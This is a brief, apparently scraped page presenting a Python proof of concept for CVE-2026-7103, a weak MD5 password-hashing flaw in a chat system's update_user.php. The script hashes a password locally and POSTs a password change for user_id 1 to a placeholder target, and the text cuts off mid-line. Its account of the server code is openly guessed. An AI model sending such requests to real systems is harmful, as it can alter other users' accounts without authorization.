CVE-2026-7103 Chat System弱哈希漏洞

# PoC for CVE-2026-7103: Weak Hash Usage # This demonstrates how the application handles password updates with weak MD5 hashing. import requests import hashlib target_url = "http://target.com/update_user.php" # The vulnerable argument name based on the description password_payload = "newpassword123" # Simulate the weak hashing done by the server # Vulnerable code likely uses: md5($_POST['Password']) weak_hash = hashlib.md5(password_payload.encode()).hexdigest() print(f"[+] Generating weak MD5 hash for password '{password_payload}': {weak_hash}") # Payload to send to the vulnerable endpoint # The server accepts this weak hash without salt or stronger algorithm data = { "Password": password_payload, "user_id": 1 # Example user ID } try: # Note: This request demonstrates the interaction, actual exploitation requires cracking the hash later response = requests.post(target_url, data=data) if response.status_code == 200: print("[+] Request sent successfully.
